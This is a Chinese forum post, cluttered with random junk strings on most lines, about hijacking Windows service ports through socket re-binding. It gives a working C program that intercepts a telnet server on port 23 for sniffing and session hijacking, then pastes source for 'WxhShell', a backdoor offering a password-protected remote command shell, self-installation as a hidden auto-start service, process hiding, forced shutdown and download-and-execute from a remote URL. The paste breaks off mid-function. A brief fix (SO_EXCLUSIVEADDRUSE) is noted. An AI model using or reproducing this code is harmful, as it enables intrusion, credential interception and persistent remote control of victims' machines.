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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: #} `pj}tQ  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Ak,T{;rD  
a}kPc}n\  
  saddr.sin_family = AF_INET; 3q0S}<h al  
-y8> c0u  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); @8|i@S@4  
7m;<b$  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); )xYGJq4  
0 TOw4pC  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 &B} ,xcNO  
'17V7A/t  
  这意味着什么?意味着可以进行如下的攻击: Qa,$_ ,E  
jFwJ1W;?-  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 vk|xYDD  
;% l0Ml>  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) _?;74VWA  
fI-f Gx  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Eyg F,>.4  
v=?/c-J*  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  7y=1\KW(  
CjmF2[|  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 :2AlvjvjZ  
Qsr+f~"W  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 (bGk=q=M  
#c`/ f6z  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 L?b;TjLe  
x{,W<oXg  
  #include FtybF  
  #include r5PZ=+F  
  #include x{$/|_  
  #include    ffem7eQ  
  DWORD WINAPI ClientThread(LPVOID lpParam);   [g$IN/o%  
  int main() *4[P$k$7  
  { SnG XEQ  
  WORD wVersionRequested; +pbP;zu  
  DWORD ret; DWk2=cO  
  WSADATA wsaData; <ua! ]~  
  BOOL val; .}iRe}=  
  SOCKADDR_IN saddr; <l$ vnq  
  SOCKADDR_IN scaddr; co>IJzg  
  int err; (iY2d_FQ[  
  SOCKET s; rnM C[  
  SOCKET sc; O5A]{ W  
  int caddsize; U ]O>DM^'  
  HANDLE mt; rh6 e  
  DWORD tid;   X6n8Bi9Ik  
  wVersionRequested = MAKEWORD( 2, 2 ); L#`X;:   
  err = WSAStartup( wVersionRequested, &wsaData ); ,o [FUi(#@  
  if ( err != 0 ) { dG}*M25  
  printf("error!WSAStartup failed!\n"); ]|B_3* A  
  return -1; p}|<EL}Z9  
  } H.)J?3  
  saddr.sin_family = AF_INET; G PL^!_  
   G( #EW+  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 !r9~K^EI  
3tCT"UvTD  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); y+$a}=cb0  
  saddr.sin_port = htons(23); Ba9"IXKH  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) }C5Fvy6uz  
  { P&AaD!Qn  
  printf("error!socket failed!\n"); j`_tb   
  return -1; {5JYu  
  } ) {4$oXQ  
  val = TRUE;  +Q+!#  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 c"NGE  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) :-cqC|Y  
  { \1#~]1~ s  
  printf("error!setsockopt failed!\n"); 0MN)Z(Sa  
  return -1; cp4~`X  
  } kjOI7`DU  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; %m "9 =C  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 E4xybVo@  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 MG3xX;  
lk4$c1ao2@  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) VaTA|=[;  
  { vw/GAljflu  
  ret=GetLastError(); pm:#@sl  
  printf("error!bind failed!\n"); [q(}~0{"-  
  return -1; kDc/]Zb%  
  } \;!g@?CA  
  listen(s,2); K9S(Xip  
  while(1) XknbcA|  
  { |i- S}M  
  caddsize = sizeof(scaddr); 1N+ju"2R  
  //接受连接请求 gX/?  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); py9`q7F  
  if(sc!=INVALID_SOCKET) 9zaSA,}  
  { 7lG,.W|  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); KZ|p_{0&  
  if(mt==NULL) ^- s`$lTp  
  { ,/UuXX  
  printf("Thread Creat Failed!\n"); ab*O7v  
  break; W(PNw2  
  } AnQUdU  
  } -9$.&D|  
  CloseHandle(mt); *ub"!}$st  
  } c1g'l.XL 3  
  closesocket(s); 8!7`F.BX  
  WSACleanup(); >%85S>e  
  return 0; mxTuwx   
  }   6#kK  
  DWORD WINAPI ClientThread(LPVOID lpParam) TR!7@Mu 3  
  { v8K4u)  
  SOCKET ss = (SOCKET)lpParam; Enqs|fkbN  
  SOCKET sc; #6nuiSF  
  unsigned char buf[4096]; {$v>3FG  
  SOCKADDR_IN saddr; ?cgb3^R'  
  long num; _sF Ad`  
  DWORD val; 0#/Pc`z C  
  DWORD ret; H@`lM~T[  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ePTN^#|W  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   b&.3uls6  
  saddr.sin_family = AF_INET; yH.Z%*=xQa  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); w,zm!  
  saddr.sin_port = htons(23); .'S_9le  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) &e5,\TQ  
  { 5>rjL ;  
  printf("error!socket failed!\n"); 'UB"z{w%  
  return -1; = '<*mT<  
  } Z%7X"w  
  val = 100; -m Sf`1l0  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) [.>g.p,;  
  { }dG>_/3  
  ret = GetLastError(); 3y*dBw  
  return -1; #;<dtw  
  } S5wkBdr{  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ZnD(RM  
  { i{k v$ir!  
  ret = GetLastError(); 1f0maN  
  return -1; XF99h&;9  
  } UsdUMt!u  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Z8WBOf*~e  
  { y(jd$GM|  
  printf("error!socket connect failed!\n"); Klqte*!  
  closesocket(sc); wK  Je^7  
  closesocket(ss); [)nU?l  
  return -1; @;>Xy!G  
  } gdG#;T'  
  while(1) >;k~B  
  {  q #X[oVq  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 \"$jj<gc  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 n)R[T.E)+  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 HkyN$1s  
  num = recv(ss,buf,4096,0); P@Av/r  
  if(num>0) CV *  
  send(sc,buf,num,0); 2yndna-  
  else if(num==0) %QX"oRMn0  
  break; ?^{Ey[)'(  
  num = recv(sc,buf,4096,0); | @p  
  if(num>0) > `+lEob  
  send(ss,buf,num,0); qEnmms1  
  else if(num==0) NucLf6  
  break; . "`f~s\G  
  } OZE.T-{  
  closesocket(ss); }62Q{>`  
  closesocket(sc); $"`e^J9!!  
  return 0 ; TV(%e4U=  
  } <"!'>ZUt  
~}s0~j~  
B{lL}"++0  
========================================================== (t"rzH  
wy?Hp*E  
下边附上一个代码,,WXhSHELL @gihIysf  
(:|1h@K/R  
========================================================== 5S&^mj-9  
uN(N2m  
#include "stdafx.h" a>Xq   
SW=%>XKkh  
#include <stdio.h> yb'v*B ]  
#include <string.h> RBOhV/f  
#include <windows.h> M[KYt"v  
#include <winsock2.h> [I%'\CI;  
#include <winsvc.h> ' g Fewo  
#include <urlmon.h> ?/24-n  
+fG~m:E  
#pragma comment (lib, "Ws2_32.lib") DWu~%U8  
#pragma comment (lib, "urlmon.lib") hPrE  
n16TQe"8  
#define MAX_USER   100 // 最大客户端连接数 r8[Ywn <u  
#define BUF_SOCK   200 // sock buffer eHH9#Vrhc$  
#define KEY_BUFF   255 // 输入 buffer gO m%?sg  
UQCond+K  
#define REBOOT     0   // 重启 *AA78G|  
#define SHUTDOWN   1   // 关机 a,\GOy(q{  
t++\&!F  
#define DEF_PORT   5000 // 监听端口 [ jgC`  
v QDkZ  
#define REG_LEN     16   // 注册表键长度 $lf\1)B~*  
#define SVC_LEN     80   // NT服务名长度 cb9@ 0^-  
zl["}I(*n  
// 从dll定义API ]8EkZC  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); hV"2L4/E  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); X*rB`M7,  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); mbZ g2TTy  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); q@iZo,Yk  
=lS@nRH  
// wxhshell配置信息 o)Nm5g  
struct WSCFG { 5C"A*Fg?;  
  int ws_port;         // 监听端口 ~Ec@hz]js  
  char ws_passstr[REG_LEN]; // 口令 tq5o  
  int ws_autoins;       // 安装标记, 1=yes 0=no Ui;PmwQc&  
  char ws_regname[REG_LEN]; // 注册表键名 ,\E5et4  
  char ws_svcname[REG_LEN]; // 服务名 WvHy}1W  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 `;#I_R_K  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 kl9<l*  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 1Yy*G-7}  
int ws_downexe;       // 下载执行标记, 1=yes 0=no RUlJP  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" f`_6X~ p  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 +ZeK,Y+Xy  
5c3&4,,eR  
}; >s"kL^  
}o9(Q8  
// default Wxhshell configuration ?1lx8+  
struct WSCFG wscfg={DEF_PORT, N;XJMk_ H  
    "xuhuanlingzhe", |NaEXzo|qY  
    1, D[CEg2$y  
    "Wxhshell", ]e]hA@4  
    "Wxhshell", UQ)7uYQ5  
            "WxhShell Service", \}NZ] l  
    "Wrsky Windows CmdShell Service", K2t|d[r  
    "Please Input Your Password: ", [:-o;K\.-a  
  1, -Khb  
  "http://www.wrsky.com/wxhshell.exe", wvg>SfV,e  
  "Wxhshell.exe" S:xG:[N@  
    }; "=XRonQZ  
S[o R q  
// 消息定义模块 xm}`6B^f  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; C$fQ[@  
char *msg_ws_prompt="\n\r? for help\n\r#>"; qAR}D~t  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; J`{HMv  
char *msg_ws_ext="\n\rExit."; K iG/XnS  
char *msg_ws_end="\n\rQuit."; [[d@P%X&  
char *msg_ws_boot="\n\rReboot..."; D`r_ Dz  
char *msg_ws_poff="\n\rShutdown..."; 5}_DyoV  
char *msg_ws_down="\n\rSave to "; &|) (lX  
3W}xYYs] ^  
char *msg_ws_err="\n\rErr!"; #ui7YUR=2  
char *msg_ws_ok="\n\rOK!"; ;/<J& #2.  
v0S7 ]?_  
char ExeFile[MAX_PATH]; Y([vma>U]  
int nUser = 0; sBD\;\I  
HANDLE handles[MAX_USER]; XW9 [VUW~  
int OsIsNt; y5 bELWA  
RBM4_L  
SERVICE_STATUS       serviceStatus; $)Pmr1==  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; *`.4M)Ym~  
3ZU<u;  
// 函数声明 &y=~:1&f  
int Install(void); "M5&&\uT  
int Uninstall(void); Og3bV_,"  
int DownloadFile(char *sURL, SOCKET wsh); }9ZcO\M  
int Boot(int flag); 5T;,wQ<  
void HideProc(void); FR@## i$  
int GetOsVer(void); B~2\v%J  
int Wxhshell(SOCKET wsl); kVb8$Sp  
void TalkWithClient(void *cs); 4>xv7  
int CmdShell(SOCKET sock); WgQ6EV`  
int StartFromService(void); -QUvd1S40  
int StartWxhshell(LPSTR lpCmdLine); Ws(#ThA  
3Q"4-pd  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 1u0 NG)*f  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); j(maj  
u6(>?r-  
// 数据结构和表定义 &MsBcP[  
SERVICE_TABLE_ENTRY DispatchTable[] = -KG3_kE  
{  a7UfRG  
{wscfg.ws_svcname, NTServiceMain}, S\O6B1<:  
{NULL, NULL} O<v9i4*  
}; SRx `m,535  
*S@0o6v  
// 自我安装 d^.fB+)A3  
int Install(void) (l3P<[[?  
{ sS|N.2*  
  char svExeFile[MAX_PATH]; _GK3]F0  
  HKEY key; kGSB6  
  strcpy(svExeFile,ExeFile); @}cZxFQ!C  
`Dco!ih  
// 如果是win9x系统,修改注册表设为自启动 mME a*9P  
if(!OsIsNt) { h^KLqPBt{  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { e.IKmH]z  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); =K2mR}n\;  
  RegCloseKey(key); #7A_p8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { hup< U+p  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); zbDM+;  
  RegCloseKey(key); I5J9,j  
  return 0;  Gp/yr  
    } q={\|j$X  
  } SlZ>N$E  
} T=QV =21qn  
else { N yK7TKui  
3yfq*\_uXw  
// 如果是NT以上系统,安装为系统服务 a jCx"J  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ^#4?v^QNh  
if (schSCManager!=0) ?#LbhO*   
{ gqRwN p  
  SC_HANDLE schService = CreateService DEw_dOJ(  
  ( +L8 6 w7  
  schSCManager, 058+_xX  
  wscfg.ws_svcname, Gq/f|43}@O  
  wscfg.ws_svcdisp, @ 0RB.-  
  SERVICE_ALL_ACCESS, zU9G: jH  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , kG7q4jFwP  
  SERVICE_AUTO_START, Z) zWfv}  
  SERVICE_ERROR_NORMAL, ~agzp`!M  
  svExeFile, 3S'juHT e  
  NULL, t zhkdG  
  NULL, +89s+4Jn  
  NULL, t-$R)vZ}M  
  NULL, #~r+   
  NULL /i]!=~\qFs  
  ); VzR (O B  
  if (schService!=0) *$Df)iI6  
  { eswsxJ/!  
  CloseServiceHandle(schService); #w4= kWJ[  
  CloseServiceHandle(schSCManager); u,e(5LU  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); v^h \E+@  
  strcat(svExeFile,wscfg.ws_svcname); S3=M k~_&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { .f V-puE  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); I"]5B  
  RegCloseKey(key); b&;1b<BwD  
  return 0; XK (y ?Y1  
    } D %`64R  
  } 64^dy V,;  
  CloseServiceHandle(schSCManager); J2`b:%[  
} tZ]|3wp  
} >Udb*76 D  
~R]E=/m|  
return 1; Ne<"o]_M  
} AFWcTz6#d  
Hb3+$vJ^  
// 自我卸载 Q)c $^YsI  
int Uninstall(void) BHE((3  
{ $Gs&' y R  
  HKEY key; n2Oi< )  
}TZ5/zn.Dw  
if(!OsIsNt) { _,i]ra{%  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { oVsj Q  
  RegDeleteValue(key,wscfg.ws_regname); bUC-}  
  RegCloseKey(key); fn zj@_{|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { iAX\F`  
  RegDeleteValue(key,wscfg.ws_regname); j w)Lofn  
  RegCloseKey(key); dUtxG ~9  
  return 0; Y WSo:)LY  
  } @+ VvZc2Y  
} hv'~S  
} z^Nnt  
else { :5G3 uN+\  
${#5$U+kI  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); I72UkmK`  
if (schSCManager!=0) Z1FO.[FV  
{ -&#L4AM%(9  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); N7%+n*Z  
  if (schService!=0) 8u$Kr q  
  { PXcpROg56  
  if(DeleteService(schService)!=0) { {}?s0U$5  
  CloseServiceHandle(schService); 22\Buk}?  
  CloseServiceHandle(schSCManager); FDaHsiI:  
  return 0; AC=cz!3iB  
  } \^kyC1  
  CloseServiceHandle(schService); ^lT$D8  
  } <0T4MR7  
  CloseServiceHandle(schSCManager); (}fbs/8\p  
} )p"37Ct?  
} TRrO-  
.9Bimhc6K  
return 1; <JHU*Z  
} V; 1r  
o$m64l  
// 从指定url下载文件 br}.s@~  
int DownloadFile(char *sURL, SOCKET wsh) 13.v5v,l  
{ WIXzxI<)  
  HRESULT hr; . ({aPtSt!  
char seps[]= "/"; l^ni"X  
char *token; GBvB0kC)c  
char *file; VuwBnQ.2k  
char myURL[MAX_PATH]; 5M{N-L_eC  
char myFILE[MAX_PATH]; lph3"a^  
]nN']?{7PW  
strcpy(myURL,sURL); bCk_ZA  
  token=strtok(myURL,seps); p 8BAan3  
  while(token!=NULL) FyYQ4ov0&o  
  { {a9Z<P  
    file=token; ??{(.`}R~  
  token=strtok(NULL,seps); 1 ,oC:N  
  } !&TbE@Xk  
U KF/v  
GetCurrentDirectory(MAX_PATH,myFILE); qt}vM*0}V  
strcat(myFILE, "\\"); gh}FZs5 P  
strcat(myFILE, file); N{`-&8q;K  
  send(wsh,myFILE,strlen(myFILE),0); ?rWqFM:hb  
send(wsh,"...",3,0); !h7`W*::  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); :7IL|bA<  
  if(hr==S_OK) V;?_l?_  
return 0; KO<fN,DR  
else zzuDI_,/  
return 1; B4R!V!Z*  
'g#Ml`cm  
} fyx-VXu  
TQ" [2cY  
// 系统电源模块 E8=.TM]L  
int Boot(int flag) %p"x|e  
{ '/SMqmi  
  HANDLE hToken; SxC$EQ gL  
  TOKEN_PRIVILEGES tkp; $I-$X?  
ExI?UGT  
  if(OsIsNt) { 3j0/&ON  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); [+gX6  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); P$2J`b[H$  
    tkp.PrivilegeCount = 1; 2Y&z}4'j  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; eg) =^b  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); }_0?S0<#  
if(flag==REBOOT) { 9M~EH?>+[  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) S D] d/|y  
  return 0; @fT*fv   
} p{!aRB%  
else { (iGk]Rtzt  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) v*QobI  
  return 0; z]Z>+|  
} 5wRDH1z@{  
  } >9F,=63A  
  else { Q <^'v>~n  
if(flag==REBOOT) { b.h~QyI/W  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) kX\t0'=]  
  return 0; J7emoD [  
} O~9 %!LAu  
else { %fh ,e5(LT  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) =9y'6|>l  
  return 0; 2#@S6zc  
} \ Yz>=rY  
} =]\,I'  
DkA cT[  
return 1; Q0,]Q ]_  
} J^pL_  
>AV-i$4eQ@  
// win9x进程隐藏模块 VGM8&J{o'  
void HideProc(void) h -+vM9j  
{ !zvKl;yT  
it5].A&  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); r3hj GcpaX  
  if ( hKernel != NULL ) rcq(p (!  
  { g$?B!!qT  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); s41<e"  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); wX#=l?,K  
    FreeLibrary(hKernel); 8~EDmg[  
  } /%$'N$@f  
n O$(\ z)  
return; U[c,cdA  
} 9HRYk13ae  
WY?(C@>s  
// 获取操作系统版本 D._q'v<  
int GetOsVer(void) 8G1Tpn  
{ K`j#'`/KC  
  OSVERSIONINFO winfo; jbn{5af  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); #_QvnQ?I  
  GetVersionEx(&winfo); engql;  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) QSAz:Yvf|  
  return 1; G#N h)ff  
  else X;v/$=-mz  
  return 0; =:1f 0QF  
} 3kdTteyy+  
j?+FS`a!  
// 客户端句柄模块 4bhm1Q  
int Wxhshell(SOCKET wsl) *r?g&Vw$m  
{ 4NQS'*%D  
  SOCKET wsh; TPq5"mco  
  struct sockaddr_in client; b3H~a2"d  
  DWORD myID; t=~al8  
J Q%e'  
  while(nUser<MAX_USER) V(=~p[  
{ N/8qd_:8  
  int nSize=sizeof(client); CP|N2rb  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); "\vEi &C  
  if(wsh==INVALID_SOCKET) return 1; 5sM-E>8G^{  
' ,a'r.HJH  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Od^y&$|_%`  
if(handles[nUser]==0) SBAq,F'  
  closesocket(wsh); ,@/b7BVv  
else "|]'\4UdzQ  
  nUser++; x{Gb4=?l  
  } TRcY!  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); :upi2S_e  
\Z ] <L  
  return 0; O:+#k-?  
} %8yfF rk  
?Re@`f+*  
// 关闭 socket vZTX3c:,1  
void CloseIt(SOCKET wsh) s)_7*DY  
{ ]V<[W,*(5  
closesocket(wsh); :w#Zs)N  
nUser--; Ii,e=RG>  
ExitThread(0); {|^9y]VFu  
} Um4 }`  
tUGnD<P  
// 客户端请求句柄 s59v* /  
void TalkWithClient(void *cs) *["9;_KD  
{ YnNB#x8|  
{ e<J}-/?  
  SOCKET wsh=(SOCKET)cs; (%oZgvM  
  char pwd[SVC_LEN]; G>M# BuU  
  char cmd[KEY_BUFF]; f:B+R  
char chr[1]; .*r ?zDV  
int i,j; 7F>5<Gv:-  
PnFU{N  
  while (nUser < MAX_USER) { xA`Q4"[I  
(NFq/w%  
if(wscfg.ws_passstr) { q<@f3[A  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 6U @3 xU`  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); zKx?cEpE  
  //ZeroMemory(pwd,KEY_BUFF); kmi[u8iXD_  
      i=0; ?#<Fxme  
  while(i<SVC_LEN) { y"]?TEd  
IwZn%>1N  
  // 设置超时 e/6WhFN #  
  fd_set FdRead; @rRBo:0%  
  struct timeval TimeOut; ]sd|u[:k  
  FD_ZERO(&FdRead); d?oupW}uu  
  FD_SET(wsh,&FdRead); 1 C{n!l  
  TimeOut.tv_sec=8; ivb&J4?y  
  TimeOut.tv_usec=0; 2rB$&>}T  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); gLsl/G  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); zg.'  
Kg VLXI6  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); oA(jtX[(  
  pwd=chr[0]; T8GxoNm  
  if(chr[0]==0xd || chr[0]==0xa) { 0<>I\UN0b  
  pwd=0; Tt `|26/  
  break; x4CrWm  
  } sw[1T_S>  
  i++; L oe!@c  
    } o*_[3{FU  
^ W eE%"  
  // 如果是非法用户,关闭 socket W|NzdxCY  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); X)e6Y{vO  
} N0O8to}V  
glH&v8  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); $LRvPan`  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2IFri|;-eb  
^' lx5+-  
while(1) { e#:.JbJ:D  
UAFl+d!  
  ZeroMemory(cmd,KEY_BUFF); vd|PTHV_  
R61.!ql%w  
      // 自动支持客户端 telnet标准   ctTg-J2.  
  j=0; u_dTJ, m  
  while(j<KEY_BUFF) { ZK[4n5}  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); izebQVQO*  
  cmd[j]=chr[0]; ` Xhj7%>  
  if(chr[0]==0xa || chr[0]==0xd) { -N<s =  
  cmd[j]=0; ax[-907  
  break; D?44:'x+-  
  } RI!!?hYm  
  j++; g;i>nzf  
    } %C" wUAY  
$ii/Q:w T"  
  // 下载文件 gGxgU$`#c  
  if(strstr(cmd,"http://")) { i;s&;_0{  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); [c +[t3dz  
  if(DownloadFile(cmd,wsh)) Y#V`i K  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); jX-v9eaA  
  else M`-#6,m3  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); elG<\[  
  } U; JZN  
  else {  \U(qv(T  
n[|&nv6x  
    switch(cmd[0]) { 1#qyD3K  
  D.kLx@Z  
  // 帮助 Ck%nNy29  
  case '?': { |>5NH'agV  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 8)s}>:}  
    break; Rb Jl;  
  } oS 7q#`  
  // 安装 0j %s H  
  case 'i': { dZFf /BXU  
    if(Install()) qZ'&zB)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); c~3OK_k  
    else V2Q2(yvdJ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |Gx-c ,{{  
    break; OCnQSkj  
    } a x4V(  
  // 卸载 \L>3E#R-Q  
  case 'r': { OBqaf )W  
    if(Uninstall()) a6wPkf7-H  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); sMlY!3{I x  
    else dYrw&gn  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -"Wp L2qD  
    break; 0-M.>fwZ=  
    } \b95CU  
  // 显示 wxhshell 所在路径 nsIx5UA_n  
  case 'p': { Azv j(j  
    char svExeFile[MAX_PATH]; : KhAf2A  
    strcpy(svExeFile,"\n\r"); 9_)*b  
      strcat(svExeFile,ExeFile); &}_ $@  
        send(wsh,svExeFile,strlen(svExeFile),0); lQj3# !1}  
    break; R*VRxQ,h6+  
    } J,Du:|3o  
  // 重启 62TWqQ!9d  
  case 'b': { kG@~;*;l  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 9dn~nnd'n  
    if(Boot(REBOOT)) Jz(wXp  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); btoye \ rl  
    else { {&nL'R  
    closesocket(wsh); uDvZ]Q|.  
    ExitThread(0); ~,3+]ts='\  
    } fQ33J>  
    break; `n7*6l<k~4  
    } Z`y%#B6x.  
  // 关机 Y> ElE-  
  case 'd': { !LB#K?I  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ;)].Dj9  
    if(Boot(SHUTDOWN)) OPOL-2<wiy  
